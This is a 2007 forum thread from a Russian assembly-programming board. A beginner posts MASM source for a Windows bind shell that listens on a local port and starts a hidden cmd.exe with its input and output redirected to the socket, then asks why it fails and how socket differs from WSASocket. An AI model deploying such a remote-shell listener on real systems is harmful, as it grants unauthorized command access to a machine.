Простейший Bind-shell и проблемы которые у меня с ним появились

Тема в разделе "WASM.BEGINNERS", создана пользователем slackhead, 30 янв 2007.

  1. slackhead

    slackhead New Member

    Публикаций:
    0
    Регистрация:
    29 янв 2007
    Сообщения:
    66
    Хотелось бы сперва сделать 2 оговорки:
    1) я далеко не спец, поэтому не кричете пожалуйста громко, если я делаю какие-то очевидные ошибки
    2) тема топика по сути не является malwar'ой

    Принциа я понимал так: нужно запустить cmd.exe и перенаправить стандартные потоки ввода/вывода/ошибок на сокет, с первого взгляда тривиальная задача.
    вот что у меня получилось:
    Код (Text):
    1. .386   
    2. .model flat,stdcall
    3. option casemap: none
    4.  
    5. include windows.inc
    6.  
    7. include kernel32.inc
    8. includelib kernel32.lib
    9. include ws2_32.inc
    10. includelib ws2_32.lib
    11.  
    12. include macros.asm
    13.  
    14. .data?
    15.     wsa WSADATA <?>
    16.     sa  sockaddr_in <?>
    17.    
    18.     sattr   SECURITY_ATTRIBUTES <?>
    19.     startup STARTUPINFO <?>
    20.     pi  PROCESS_INFORMATION <>
    21.     overlapped OVERLAPPED <>
    22.     hSock dd ?
    23. .code
    24.  
    25. start:
    26.    
    27.        
    28.     invoke WSAStartup,202h,offset wsa
    29.     mov sa.sin_family,AF_INET
    30.     invoke htons,999
    31.     mov sa.sin_port,ax
    32.     invoke htonl,7f000001h
    33.     mov sa.sin_addr,eax
    34.     invoke socket,AF_INET,SOCK_STREAM,0
    35.     mov esi,eax
    36.     invoke bind,esi,offset sa,sizeof sa
    37.     invoke listen,esi,1
    38.     mov eax,sizeof sa
    39.     lea edi,hSock
    40.     mov [edi],eax
    41.     invoke accept,esi,offset sa,offset hSock
    42.     mov hSock,eax  
    43.    
    44.     mov startup.cb,sizeof startup
    45.     mov startup.wShowWindow,SW_HIDE
    46.     mov startup.dwFlags,STARTF_USESTDHANDLES+STARTF_USESHOWWINDOW
    47.     m2m startup.hStdInput,hSock
    48.     m2m startup.hStdOutput,hSock
    49.     m2m startup.hStdError,hSock
    50.    
    51.     mov sattr.nLength,sizeof sattr
    52.     mov sattr.lpSecurityDescriptor,0
    53.     mov sattr.bInheritHandle,TRUE
    54.     invoke CreateProcess,chr$('c:\windows\system32\cmd.exe'),0,offset sattr,offset sattr,TRUE,NORMAL_PRIORITY_CLASS,0,0,offset startup,offset pi
    55.  
    56.     int 3
    57.     invoke closesocket,hSock
    58.     invoke closesocket,esi
    59.     invoke WSACleanup
    60.     ret
    61. end start
    тут я и боломался, потому как на сокет ничего не выводилось и в помине.. Решив перестраховаться и пока не связываться с cmd.exe написал тривиальную утилиту которая выводит на StdOut строку:
    Код (Text):
    1. .386
    2. .model flat,stdcall
    3. option casemap:none
    4. include windows.inc
    5. include kernel32.inc
    6. includelib kernel32.lib
    7.  
    8. .data
    9.     szMessage db 'raz raz raz..',0
    10.     nSize        equ $-szMessage
    11.     rw      dd ?
    12.     Overlapped OVERLAPPED <>
    13. .code
    14. start:
    15.     invoke GetStdHandle,STD_OUTPUT_HANDLE
    16.     invoke WriteFile,eax,offset szMessage,nSize,offset rw,offset Overlapped
    17.     ret
    18. end start
    и запустив её видел что строка успешно записалась в сокет.
    Задав пару вопросов гуглу (сильно я не увлекался потому как изначально хотел до всего допереть сам) нашёл сорец который делает то что мне нада, и единственное его отличие было в том что сокет он создавал не функцией socket
    а WSASocket отсуда вопрос номер один чем отличаются сокеты созданные следующими функиями:
    Код (Text):
    1. invoke WSASocket,AF_INET,SOCK_STREAM,IPPROTO_TCP,0,0,0
    2. socket,AF_INET,SOCK_STREAM,0
    ведь на первый взгляд вроде бы ничем...
     
  2. slackhead

    slackhead New Member

    Публикаций:
    0
    Регистрация:
    29 янв 2007
    Сообщения:
    66
    <извените что несколькими постами>
    далее заметил что такой вот клиент "подвисает" при использовании telnet'a после пары комманд второй вопрос почему?
     
  3. slackhead

    slackhead New Member

    Публикаций:
    0
    Регистрация:
    29 янв 2007
    Сообщения:
    66
    c socket и WSASocket так и не разобрался.. а телнетом.. его выкинул написал свой, кому интересно в атаче сорци и бинарники